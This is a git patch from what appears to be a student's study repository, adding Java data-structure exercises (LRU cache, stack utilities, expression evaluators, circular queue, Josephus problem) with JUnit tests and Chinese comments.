+        for (int i = 0; i < 50; i++) {
+            Assert.assertEquals("item" + i, queue.deQueue());
+        }
+        queue.enQueue("item100");
+        queue.enQueue("item101");
+        Assert.assertEquals(52, queue.size());
+        int i = 50;
+        while (!queue.isEmpty()) {
+            Assert.assertEquals("item" + i++, queue.deQueue());
+        }
+    }
+}
\ No newline at end of file

From 4149f38fe1b97cc54e976ab327f92137235b566f Mon Sep 17 00:00:00 2001
From: diliuzuzhanghao <949319266@qq.com>
Date: Sun, 7 May 2017 21:23:49 +0800
Subject: [PATCH 226/262] jvm

jvm
---
 .../ecust/common/linklist/LRUPageFrame.java   | 201 ++++++++++++
 .../common/linklist/LRUPageFrameTest.java     |  67 ++++
 .../jvm2/src/com/ecust/Util/Stack.java        |  77 +++++
 .../jvm2/src/com/ecust/Util/StackUtil.java    | 291 ++++++++++++++++++
 .../src/com/ecust/Util/StackUtilTest.java     | 117 +++++++
 .../jvm3/src/com/ecust/jvm3/InfixExpr.java    |   5 +
 .../jvm3/src/com/ecust/jvm3/InfixExpr2.java   | 194 ++++++++++++
 .../src/com/ecust/jvm3/InfixExprTest.java     |   5 +
 .../src/com/ecust/jvm4/InfixToPostfix2.java   |  95 ++++++
 .../jvm4/src/com/ecust/jvm4/PostfixExpr.java  | 111 +++++++
 .../src/com/ecust/jvm4/PostfixExprTest.java   |  87 ++++++
 .../jvm4/src/com/ecust/jvm4/PrefixExpr.java   |  89 ++++++
 .../src/com/ecust/jvm4/PrefixExprTest.java    |   5 +
 .../jvm5/src/com/ecust/jvm5/CircleQueue.java  | 149 +++++++++
 .../jvm5/src/com/ecust/jvm5/Josephus.java     |  77 +++++
 .../jvm5/src/com/ecust/jvm5/JosephusTest.java |   5 +
 .../com/ecust/jvm5/QueueWithTwoStacks.java    | 162 ++++++++++
 17 files changed, 1737 insertions(+)
 create mode 100644 group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrame.java
 create mode 100644 group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrameTest.java
 create mode 100644 group06/949319266/jvm2/src/com/ecust/Util/Stack.java
 create mode 100644 group06/949319266/jvm2/src/com/ecust/Util/StackUtil.java
 create mode 100644 group06/949319266/jvm2/src/com/ecust/Util/StackUtilTest.java
 create mode 100644 group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr.java
 create mode 100644 group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr2.java
 create mode 100644 group06/949319266/jvm3/src/com/ecust/jvm3/InfixExprTest.java
 create mode 100644 group06/949319266/jvm4/src/com/ecust/jvm4/InfixToPostfix2.java
 create mode 100644 group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExpr.java
 create mode 100644 group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExprTest.java
 create mode 100644 group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExpr.java
 create mode 100644 group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExprTest.java
 create mode 100644 group06/949319266/jvm5/src/com/ecust/jvm5/CircleQueue.java
 create mode 100644 group06/949319266/jvm5/src/com/ecust/jvm5/Josephus.java
 create mode 100644 group06/949319266/jvm5/src/com/ecust/jvm5/JosephusTest.java
 create mode 100644 group06/949319266/jvm5/src/com/ecust/jvm5/QueueWithTwoStacks.java

diff --git a/group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrame.java b/group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..756de196c5
--- /dev/null
+++ b/group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrame.java
@@ -0,0 +1,201 @@
+package com.ecust.common.linklist;
+
+public class LRUPageFrame {
+
+	
+
+	private static class Node {
+
+		
+
+		Node prev;
+
+		Node next;
+
+		int pageNum;
+
+
+
+		Node() {
+
+		}
+
+
+
+		Node(int pageNum){
+
+			this.pageNum = pageNum;
+
+		}
+
+	}
+
+
+
+	private int capacity;
+
+	private int size;
+
+	
+
+	private Node first;// 链表头
+
+	private Node last;// 链表尾
+
+
+
+	
+
+	public LRUPageFrame(int capacity) {
+
+		
+
+		this.capacity = capacity;
+
+		
+
+	}
+
+
+
+	/**
+
+	 * 获取缓存中对象
+
+	 * 
+
+	 * @param pageNum
+
+	 * @return
+
+	 */
+
+	public void access(int pageNum) {
+
+		//先遍历，看是否已存在缓存中
+
+		if (first != null) {
+
+			Node node = first;
+
+			while (node != null){
+
+				if (node.pageNum == pageNum) {
+
+					if (node.prev != null) {
+
+						node.prev.next = node.next;
+
+						if (node.next != null) {
+
+							node.next.prev = node.prev;
+
+						} else {
+
+							last = node.prev;
+
+						}
+
+						node.next = first;
+
+						node.prev = null;
+
+						first.prev = node;
+
+						first = node;
+
+					}
+
+					return;
+
+				}
+
+				node = node.next;
+
+			}
+
+		}
+
+		//遍历不到，插入缓存中，并去除最少用的缓存
+
+		if (last == null) {
+
+			if (!(capacity > 0)) {
+
+				return;
+
+			}
+
+			//一开始没有缓存的边界条件
+
+			last = new Node(pageNum);
+
+			first = last;
+
+			size++;
+
+			return;
+
+		}
+
+		Node node = new Node(pageNum);
+
+		node.next = first;
+
+		first.prev = node;
+
+		first = node;
+
+		size++;
+
+		if (size > capacity) {
+
+			//缓存已满，去除最少用缓存
+
+			Node node2 = last.prev;
+
+			node2.next = null;
+
+			last = node2;
+
+			size--;
+
+		}
+
+	}
+
+	
+
+	
+
+
+
+	public String toString(){
+
+		StringBuilder buffer = new StringBuilder();
+
+		Node node = first;
+
+		while(node != null){
+
+			buffer.append(node.pageNum);			
+
+			
+
+			node = node.next;
+
+			if(node != null){
+
+				buffer.append(",");
+
+			}
+
+		}
+
+		return buffer.toString();
+
+	}
+
+	
+
+}
diff --git a/group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrameTest.java b/group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..9680f6c7be
--- /dev/null
+++ b/group06/949319266/jvm1/src/com/ecust/common/linklist/LRUPageFrameTest.java
@@ -0,0 +1,67 @@
+package com.ecust.common.linklist;
+
+import  org.junit.Assert;
+
+
+
+import org.junit.Test;
+
+
+
+
+
+public class LRUPageFrameTest {
+
+	
+
+	@Test
+
+	public void testAccess() {
+
+		LRUPageFrame frame = new LRUPageFrame(3);
+
+		frame.access(7);
+
+		frame.access(7);
+
+		Assert.assertEquals("7", frame.toString());
+
+		frame.access(0);
+
+		frame.access(0);
+
+		Assert.assertEquals("0,7", frame.toString());
+
+		frame.access(1);
+
+		Assert.assertEquals("1,0,7", frame.toString());
+
+		frame.access(2);
+
+		Assert.assertEquals("2,1,0", frame.toString());
+
+		frame.access(0);
+
+		Assert.assertEquals("0,2,1", frame.toString());
+
+		frame.access(0);
+
+		Assert.assertEquals("0,2,1", frame.toString());
+
+		frame.access(3);
+
+		Assert.assertEquals("3,0,2", frame.toString());
+
+		frame.access(0);
+
+		Assert.assertEquals("0,3,2", frame.toString());
+
+		frame.access(4);
+
+		Assert.assertEquals("4,0,3", frame.toString());
+
+	}
+
+
+
+}
\ No newline at end of file
diff --git a/group06/949319266/jvm2/src/com/ecust/Util/Stack.java b/group06/949319266/jvm2/src/com/ecust/Util/Stack.java
new file mode 100644
index 0000000000..f5a7edb537
--- /dev/null
+++ b/group06/949319266/jvm2/src/com/ecust/Util/Stack.java
@@ -0,0 +1,77 @@
+package com.ecust.Util;
+
+import org.xukai.common.ArrayList;
+
+
+
+import java.util.EmptyStackException;
+
+
+
+public class Stack {
+
+
+
+	private ArrayList elementData = new ArrayList();
+
+	
+
+	public void push(Object o){
+
+		elementData.add(o);
+
+	}
+
+	
+
+	public Object pop(){
+
+		if (isEmpty()) {
+
+			throw new EmptyStackException();
+
+		}
+
+		return elementData.remove(elementData.size()-1);
+
+	}
+
+	
+
+	public Object peek(){
+
+		if (isEmpty()) {
+
+			throw new EmptyStackException();
+
+		}
+
+		return elementData.get(elementData.size()-1);
+
+	}
+
+
+
+	public boolean isEmpty(){
+
+		return elementData.size() == 0;
+
+	}
+
+
+
+	public int size(){
+
+		return elementData.size();
+
+	}
+
+
+
+	public void display() {
+
+		elementData.display();
+
+	}
+
+}
diff --git a/group06/949319266/jvm2/src/com/ecust/Util/StackUtil.java b/group06/949319266/jvm2/src/com/ecust/Util/StackUtil.java
new file mode 100644
index 0000000000..cc0c247394
--- /dev/null
+++ b/group06/949319266/jvm2/src/com/ecust/Util/StackUtil.java
@@ -0,0 +1,291 @@
+package com.ecust.Util;
+
+import com.google.common.base.Preconditions;
+
+import com.google.common.collect.Maps;
+
+import org.junit.Assert;
+
+import org.junit.Test;
+
+
+
+import java.util.HashMap;
+
+import java.util.regex.Pattern;
+
+
+
+public class StackUtil {
+
+	
+
+	
+
+	/**
+
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+
+	 */
+
+	public static void reverse(Stack s) {
+
+		Stack stack1 = new Stack();
+
+		while (!s.isEmpty()){
+
+			stack1.push(s.pop());
+
+		}
+
+		Stack stack2 = new Stack();
+
+		while (!stack1.isEmpty()){
+
+			stack2.push(stack1.pop());
+
+		}
+
+		while (!stack2.isEmpty()){
+
+			s.push(stack2.pop());
+
+		}
+
+	}
+
+	@Test
+
+	public void testReverse(){
+
+		Stack stack = new Stack();
+
+		stack.push(1);
+
+		stack.push(2);
+
+		stack.push(3);
+
+		stack.push(4);
+
+		stack.push(5);
+
+		stack.display();
+
+		reverse(stack);
+
+		stack.display();
+
+	}
+
+
+
+	/**
+
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+
+	 * 
+
+	 * @param o
+
+	 */
+
+	public static void remove(Stack s,Object o) {
+
+		Stack stack = new Stack();
+
+		while (!s.isEmpty()){
+
+			if (!s.peek().equals(o)) {
+
+				stack.push(s.pop());
+
+			} else {
+
+				s.pop();
+
+			}
+
+		}
+
+		while (!stack.isEmpty()){
+
+			s.push(stack.pop());
+
+		}
+
+	}
+
+
+
+	@Test
+
+	public void testRemove(){
+
+		Stack stack = new Stack();
+
+		stack.push(1);
+
+		stack.push(2);
+
+		stack.push(3);
+
+		stack.push(4);
+
+		stack.push(5);
+
+		stack.display();
+
+		remove(stack,3);
+
+		stack.display();
+
+	}
+
+
+
+
+
+	/**
+
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+
+	 * @param len
+
+	 * @return
+
+	 */
+
+	public static Object[] getTop(Stack s,int len) {
+
+		Preconditions.checkArgument(len > 0);
+
+		Stack stack = new Stack();
+
+		Object[] objects = new Object[Math.min(len,s.size())];
+
+		for (int i = 0; i < len; i++) {
+
+			if (s.isEmpty()) {
+
+				break;
+
+			}
+
+			objects[i] = s.pop();
+
+			stack.push(objects[i]);
+
+		}
+
+		while (!stack.isEmpty()){
+
+			s.push(stack.pop());
+
+		}
+
+		return objects;
+
+	}
+
+
+
+	@Test
+
+	public void testGetTop(){
+
+		Stack stack = new Stack();
+
+		stack.push(1);
+
+		stack.push(2);
+
+		stack.push(3);
+
+		stack.push(4);
+
+		stack.push(5);
+
+		stack.display();
+
+		Object[] objects = getTop(stack, 6);
+
+		for (int i = 0; i < objects.length; i++) {
+
+			System.out.println(objects[i]);
+
+		}
+
+	}
+
+	/**
+
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+
+	 * @param s
+
+	 * @return
+
+	 */
+
+	public static boolean isValidPairs(String s){
+
+		HashMap<String, String> map = Maps.newHashMap();
+
+		map.put("}","{");
+
+		map.put(")","(");
+
+		map.put("]","[");
+
+		Stack stack = new Stack();
+
+		char[] chars = s.toCharArray();
+
+		for (int i = 0; i < chars.length; i++) {
+
+			if (Pattern.matches("[\\[({]{1}", chars[i]+"")) {
+
+				stack.push(chars[i]);
+
+			}
+
+			if (Pattern.matches("[\\])}]{1}", chars[i]+"") && !map.get(chars[i]+"").equals(""+stack.pop())) {
+
+				return false;
+
+			}
+
+		}
+
+		return true;
+
+	}
+
+
+
+	@Test
+
+	public void testIsValidPairs(){
+
+		Assert.assertTrue(isValidPairs("[d(a)](da){21}"));
+
+		Assert.assertTrue(!isValidPairs("[d(a{)}](da){21}"));
+
+	}
+
+	
+
+	
+
+}
diff --git a/group06/949319266/jvm2/src/com/ecust/Util/StackUtilTest.java b/group06/949319266/jvm2/src/com/ecust/Util/StackUtilTest.java
new file mode 100644
index 0000000000..63f68e849d
--- /dev/null
+++ b/group06/949319266/jvm2/src/com/ecust/Util/StackUtilTest.java
@@ -0,0 +1,117 @@
+package com.ecust.Util;
+
+import org.junit.Assert;
+
+import org.junit.Test;
+
+
+
+public class StackUtilTest {
+
+	
+
+	
+
+	@Test
+
+	public void testReverse(){
+
+		Stack stack = new Stack();
+
+		stack.push(1);
+
+		stack.push(2);
+
+		stack.push(3);
+
+		stack.push(4);
+
+		stack.push(5);
+
+		stack.display();
+
+		StackUtil.reverse(stack);
+
+		stack.display();
+
+	}
+
+
+
+
+
+	@Test
+
+	public void testRemove(){
+
+		Stack stack = new Stack();
+
+		stack.push(1);
+
+		stack.push(2);
+
+		stack.push(3);
+
+		stack.push(4);
+
+		stack.push(5);
+
+		stack.display();
+
+		StackUtil.remove(stack,3);
+
+		stack.display();
+
+	}
+
+
+
+
+
+	@Test
+
+	public void testGetTop(){
+
+		Stack stack = new Stack();
+
+		stack.push(1);
+
+		stack.push(2);
+
+		stack.push(3);
+
+		stack.push(4);
+
+		stack.push(5);
+
+		stack.display();
+
+		Object[] objects = StackUtil.getTop(stack, 8);
+
+		for (int i = 0; i < objects.length; i++) {
+
+			System.out.println(objects[i]);
+
+		}
+
+		Assert.assertEquals(5,objects.length);
+
+	}
+
+
+
+	@Test
+
+	public void testIsValidPairs(){
+
+		Assert.assertTrue(StackUtil.isValidPairs("[d(a)](da){21}"));
+
+		Assert.assertTrue(!StackUtil.isValidPairs("[d(a{)}](da){21}"));
+
+	}
+
+	
+
+	
+
+}
diff --git a/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr.java b/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr.java
new file mode 100644
index 0000000000..d2cd280dda
--- /dev/null
+++ b/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr.java
@@ -0,0 +1,5 @@
+package com.ecust.jvm3;
+
+public class InfixExpr {
+
+}
diff --git a/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr2.java b/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr2.java
new file mode 100644
index 0000000000..7a7ee922dd
--- /dev/null
+++ b/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExpr2.java
@@ -0,0 +1,194 @@
+package com.ecust.jvm3;
+
+import java.util.HashMap;
+import java.util.Stack;
+
+
+
+public class InfixExpr2 {
+
+
+
+	public static enum TypeToken {
+
+
+
+		add('+',0),substruct('-',1),devide('/',3),plus('*',2);
+
+
+
+		TypeToken(char token, Integer priority) {
+
+			this.token = token;
+
+			this.priority = priority;
+
+		}
+
+
+
+		private char token;
+
+
+
+		private Integer priority;
+
+	}
+
+
+
+	String expr = null;
+
+	
+
+	public InfixExpr2(String expr) {
+
+		this.expr = expr;
+
+	}
+
+//3*20+12*5-40/2
+
+	public Double evaluate() {
+
+		HashMap<String, Integer> map = new HashMap<>();
+
+		map.put("+",0);
+
+		map.put("-",1);
+
+		map.put("/",3);
+
+		map.put("*",2);
+
+
+
+
+
+		Stack tokenStack = new Stack();
+
+		Stack numStack = new Stack();
+
+		char[] chars = expr.toCharArray();
+
+		boolean isNem = true;
+
+		for (int i = 0; i < expr.length(); i++) {
+
+			String token = (expr.charAt(i)) + "";
+
+			Integer priprity = map.get(token);
+
+			if (priprity != null) {
+
+				//表示是运算符
+
+				if (!tokenStack.isEmpty() && priprity < map.get(tokenStack.peek())) {
+
+					Float num2 = Float.valueOf(numStack.pop().toString());
+
+					Float num1 = Float.valueOf(numStack.pop().toString());
+
+					String pop = tokenStack.pop()+"";
+
+					if (pop.equals("-")) {
+
+						numStack.push(num1 - num2);
+
+					} else if (pop.equals("*")){
+
+						numStack.push(num1 * num2);
+
+					} else if (pop.equals("/")){
+
+						numStack.push(num1 / num2);
+
+					} else {
+
+						throw new RuntimeException();
+
+					}
+
+
+
+				}
+
+				tokenStack.push(token);
+
+				isNem = true;
+
+			} else if(token.matches("\\d{1}")) {
+
+				//表示是数字
+
+				if (isNem) {
+
+					numStack.push(token);
+
+				} else {
+
+					numStack.push(numStack.pop().toString() + token);
+
+				}
+
+				isNem = false;
+
+			} else {
+
+				throw new RuntimeException();
+
+			}
+
+		}
+
+		while (!tokenStack.isEmpty()) {
+
+			System.out.println(tokenStack.size());
+
+			if (tokenStack.peek().equals("+")) {
+
+				Float num2 = Float.valueOf(numStack.pop().toString());
+
+				Float num1 = Float.valueOf(numStack.pop().toString());
+
+				numStack.push(num1+num2+"");
+
+			} else if (tokenStack.peek().equals("-")) {
+
+				Float num2 = Float.valueOf(numStack.pop().toString());
+
+				Float num1 = Float.valueOf(numStack.pop().toString());
+
+				numStack.push(num1-num2+"");
+
+			} else if (tokenStack.peek().equals("/")) {
+
+				Float num2 = Float.valueOf(numStack.pop().toString());
+
+				Float num1 = Float.valueOf(numStack.pop().toString());
+
+				numStack.push(num1/num2+"");
+
+			} else if (tokenStack.peek().equals("*")) {
+
+				Float num2 = Float.valueOf(numStack.pop().toString());
+
+				Float num1 = Float.valueOf(numStack.pop().toString());
+
+				numStack.push(num1*num2+"");
+
+			}  else {
+
+				throw new RuntimeException();
+
+			}
+
+			tokenStack.pop();
+
+		}
+
+		return Double.valueOf(numStack.pop().toString());
+
+	}
+
+}
diff --git a/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExprTest.java b/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExprTest.java
new file mode 100644
index 0000000000..607f5b8292
--- /dev/null
+++ b/group06/949319266/jvm3/src/com/ecust/jvm3/InfixExprTest.java
@@ -0,0 +1,5 @@
+package com.ecust.jvm3;
+
+public class InfixExprTest {
+
+}
diff --git a/group06/949319266/jvm4/src/com/ecust/jvm4/InfixToPostfix2.java b/group06/949319266/jvm4/src/com/ecust/jvm4/InfixToPostfix2.java
new file mode 100644
index 0000000000..b115f10a66
--- /dev/null
+++ b/group06/949319266/jvm4/src/com/ecust/jvm4/InfixToPostfix2.java
@@ -0,0 +1,95 @@
+package com.ecust.jvm4;
+
+import java.util.List;
+
+import java.util.Stack;
+
+
+
+public class InfixToPostfix2 {
+
+
+
+
+
+    private static TokenParser tokenParser = new TokenParser();
+
+
+
+    public static String toPostFixExpr(String expr){
+
+
+
+        List<Token> tokens = tokenParser.parse(expr);
+
+
+
+        Stack<Token> s1 = new Stack<Token>();
+
+        Stack<Token> s2 = new Stack<Token>();
+
+
+
+        for (Token token : tokens) {
+
+            if (token.isNumber()) {
+
+                s2.push(token);
+
+            } else {
+
+                while (token.isOperator() && !s1.isEmpty()) {
+
+                    if (!token.hasHigherPriority(s1.peek())) {
+
+                        s2.push(s1.pop());
+
+                        continue;
+
+                    }
+
+                    break;
+
+                }
+
+                s1.push(token);
+
+            }
+
+        }
+
+        while (!s1.isEmpty()) {
+
+            s2.push(s1.pop());
+
+        }
+
+        StringBuilder stringBuilder = new StringBuilder();
+
+        while (!s2.isEmpty()) {
+
+            Token token = s2.pop();
+
+            s1.push(token);
+
+        }
+
+        while (!s1.isEmpty()) {
+
+            Token token = s1.pop();
+
+            stringBuilder.append(token.toString()).append(" ");
+
+        }
+
+
+
+        return stringBuilder.substring(0,stringBuilder.length() - 1);
+
+    }
+
+
+
+
+
+}
diff --git a/group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExpr.java b/group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExpr.java
new file mode 100644
index 0000000000..0e34a72d54
--- /dev/null
+++ b/group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExpr.java
@@ -0,0 +1,111 @@
+package com.ecust.jvm4;
+
+import java.util.List;
+
+import java.util.Stack;
+
+
+
+/**
+
+ * 与前缀表达式类似，只是顺序是从左至右：
+
+ 从左至右扫描表达式，遇到数字时，将数字压入堆栈，遇到运算符时，弹出栈顶的两个数，用运算符对它们做相应的计算（次顶元素 op 栈顶元素），并将结果入栈；重复上述过程直到表达式最右端，最后运算得出的值即为表达式的结果。
+
+ 例如后缀表达式“3 4 + 5 × 6 -”：
+
+ (1) 从左至右扫描，将3和4压入堆栈；
+
+ (2) 遇到+运算符，因此弹出4和3（4为栈顶元素，3为次顶元素，注意与前缀表达式做比较），计算出3+4的值，得7，再将7入栈；
+
+ (3) 将5入栈；
+
+ (4) 接下来是×运算符，因此弹出5和7，计算出7×5=35，将35入栈；
+
+ (5) 将6入栈；
+
+ (6) 最后是-运算符，计算出35-6的值，即29，由此得出最终结果。
+
+ */
+
+public class PostfixExpr {
+
+String expr = null;
+
+	
+
+	public PostfixExpr(String expr) {
+
+		this.expr = expr;
+
+	}
+
+
+
+	public float evaluate() {
+
+		TokenParser parser = new TokenParser();
+
+		List<Token> tokens = parser.parse(this.expr);
+
+		
+
+		
+
+		Stack<Float> numStack = new Stack<>();
+
+		for(Token token : tokens){
+
+			if(token.isNumber()){
+
+				numStack.push(new Float(token.getIntValue()));
+
+			} else{
+
+				Float f2 = numStack.pop();
+
+				Float f1 = numStack.pop();
+
+				numStack.push(calculate(token.toString(),f1,f2));
+
+			}
+
+		}
+
+		return numStack.pop().floatValue();
+
+	}
+
+	
+
+	private Float calculate(String op, Float f1, Float f2){
+
+		if(op.equals("+")){
+
+			return f1+f2;
+
+		}
+
+		if(op.equals("-")){
+
+			return f1-f2;
+
+		}
+
+		if(op.equals("*")){
+
+			return f1*f2;
+
+		}
+
+		if(op.equals("/")){
+
+			return f1/f2;
+
+		}
+
+		throw new RuntimeException(op + " is not supported");
+
+	}
+
+}
diff --git a/group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExprTest.java b/group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExprTest.java
new file mode 100644
index 0000000000..ae48effdad
--- /dev/null
+++ b/group06/949319266/jvm4/src/com/ecust/jvm4/PostfixExprTest.java
@@ -0,0 +1,87 @@
+package com.ecust.jvm4;
+
+import org.junit.After;
+
+import org.junit.Assert;
+
+import org.junit.Before;
+
+import org.junit.Test;
+
+
+
+
+
+
+
+public class PostfixExprTest {
+
+
+
+	@Before
+
+	public void setUp() throws Exception {
+
+	}
+
+
+
+	@After
+
+	public void tearDown() throws Exception {
+
+	}
+
+
+
+	@Test
+
+	public void testEvaluate() {
+
+		{
+
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+
+		}
+
+		{
+
+			//9+(3-1)*3+10/2
+
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+
+		}
+
+		
+
+		{
+
+			//10-2*3+50
+
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+
+		}
+
+	}
+
+
+
+	@Test
+
+	public void testTo(){
+
+		String poseExpr = InfixToPostfix2.toPostFixExpr("10-2*3+50");
+
+		System.out.println(poseExpr);
+
+	}
+
+
+
+}
diff --git a/group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExpr.java b/group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExpr.java
new file mode 100644
index 0000000000..3274a236bd
--- /dev/null
+++ b/group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExpr.java
@@ -0,0 +1,89 @@
+package com.ecust.jvm4;
+
+import java.util.List;
+
+import java.util.Stack;
+
+
+public class PrefixExpr {
+
+
+    private String expr;
+
+
+
+    public PrefixExpr(String expr) {
+
+        this.expr = expr;
+
+    }
+
+
+
+    public float evaluate(){
+
+
+
+        TokenParser tokenParser = new TokenParser();
+
+        List<Token> tokens = tokenParser.parse(expr);
+
+
+
+        Stack<Float> numStack = new Stack();
+
+        Stack<Float> oprStack = new Stack();
+
+
+
+        for (int i = tokens.size() - 1; i > -1; i--) {
+
+            if (tokens.get(i).isNumber()) {
+
+                numStack.push(new Float(tokens.get(i).getIntValue()));
+
+            } else {
+
+                Float num1 = numStack.pop();
+
+                Float num2 = numStack.pop();
+
+                numStack.push(caculate(tokens.get(i).toString(), num1, num2));
+
+            }
+
+        }
+
+
+
+        return numStack.pop();
+
+    }
+
+
+
+    private Float caculate(String oper, Float num1, Float num2){
+
+        if (oper.equals("+")) {
+
+            return num1 + num2;
+
+        } else if (oper.equals("-")) {
+
+            return num1 - num2;
+
+        } else if (oper.equals("/")) {
+
+            return num1 / num2;
+
+        } else if (oper.equals("*")) {
+
+            return num1 * num2;
+
+        }
+
+        throw new RuntimeException("illeagal operation token");
+
+    }
+
+}
diff --git a/group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExprTest.java b/group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExprTest.java
new file mode 100644
index 0000000000..44c16c1f83
--- /dev/null
+++ b/group06/949319266/jvm4/src/com/ecust/jvm4/PrefixExprTest.java
@@ -0,0 +1,5 @@
+package com.ecust.jvm4;
+
+public class PrefixExprTest {
+
+}
diff --git a/group06/949319266/jvm5/src/com/ecust/jvm5/CircleQueue.java b/group06/949319266/jvm5/src/com/ecust/jvm5/CircleQueue.java
new file mode 100644
index 0000000000..58e87c295e
--- /dev/null
+++ b/group06/949319266/jvm5/src/com/ecust/jvm5/CircleQueue.java
@@ -0,0 +1,149 @@
+package com.ecust.jvm5;
+
+
+
+public class CircleQueue <E> {
+
+	
+
+	private final static int DEFAULT_SIZE = 10;
+
+
+
+    private int count = 0;
+
+	
+
+	//用数组来保存循环队列的元素
+
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+
+	
+
+	//队头
+
+	private int front = 0;  
+
+	//队尾  
+
+	private int rear = 0;
+
+	
+
+	public boolean isEmpty() {
+
+		return count == 0;
+
+        
+
+    }
+
+
+
+    public int size() {
+
+        return count;
+
+    }
+
+
+
+    
+
+
+
+    public void enQueue(E data) {
+
+        if (count == DEFAULT_SIZE ) {
+
+            throw new RuntimeException();
+
+        }
+
+        elementData[front] = data;
+
+        front = (front + 1) % DEFAULT_SIZE;
+
+        count++;
+
+    }
+
+
+
+    public E deQueue() {
+
+        if (count == 0) {
+
+            return null;
+
+        }
+
+        count--;
+
+        E e = (E)elementData[rear];
+
+        rear = (rear + 1) % DEFAULT_SIZE;
+
+        return e;
+
+    }
+
+
+
+    public static void main(String[] args) {
+
+        CircleQueue<Integer> queue = new CircleQueue<>();
+
+        queue.enQueue(1);
+
+        queue.enQueue(2);
+
+        queue.enQueue(3);
+
+        queue.enQueue(4);
+
+        queue.enQueue(5);
+
+        queue.enQueue(6);
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());System.out.println(queue.deQueue());System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        queue.enQueue(7);
+
+        queue.enQueue(8);
+
+        queue.enQueue(9);
+
+        queue.enQueue(0);
+
+        queue.enQueue(1);
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+        System.out.println(queue.deQueue());
+
+
+
+    }
+
+
+
+
+
+}
\ No newline at end of file
diff --git a/group06/949319266/jvm5/src/com/ecust/jvm5/Josephus.java b/group06/949319266/jvm5/src/com/ecust/jvm5/Josephus.java
new file mode 100644
index 0000000000..da0e89dc2f
--- /dev/null
+++ b/group06/949319266/jvm5/src/com/ecust/jvm5/Josephus.java
@@ -0,0 +1,77 @@
+package com.ecust.jvm5;
+
+import java.util.ArrayDeque;
+
+import java.util.ArrayList;
+
+import java.util.List;
+
+
+
+public class Josephus {
+
+
+
+
+
+	public static List<Integer> execute(int n, int m){
+
+		Preconditions.checkArgument(n > 0);
+
+		ArrayList<Integer> deadList = new ArrayList<>();
+
+		ArrayDeque<Integer> deque1 = new ArrayDeque<>();
+
+		ArrayDeque<Integer> deque2 = new ArrayDeque<>();
+
+		for (int i = 0; i < n; i++) {
+
+			deque1.offer(i);
+
+		}
+
+		int count = 0;
+
+		while(n >= m){
+
+			if (deque1.isEmpty()) {
+
+				while (!deque2.isEmpty()){
+
+					deque1.offer(deque2.poll());
+
+				}
+
+			}
+
+			count++;
+
+			if (count == m) {
+
+				deadList.add(deque1.poll());
+
+				count = 0;
+
+				n--;
+
+				continue;
+
+			}
+
+			deque2.offer(deque1.poll());
+
+
+
+		}
+
+
+
+		return deadList;
+
+	}
+
+
+
+
+
+}
\ No newline at end of file
diff --git a/group06/949319266/jvm5/src/com/ecust/jvm5/JosephusTest.java b/group06/949319266/jvm5/src/com/ecust/jvm5/JosephusTest.java
new file mode 100644
index 0000000000..76bb7d3ba4
--- /dev/null
+++ b/group06/949319266/jvm5/src/com/ecust/jvm5/JosephusTest.java
@@ -0,0 +1,5 @@
+package com.ecust.jvm5;
+
+public class JosephusTest {
+
+}
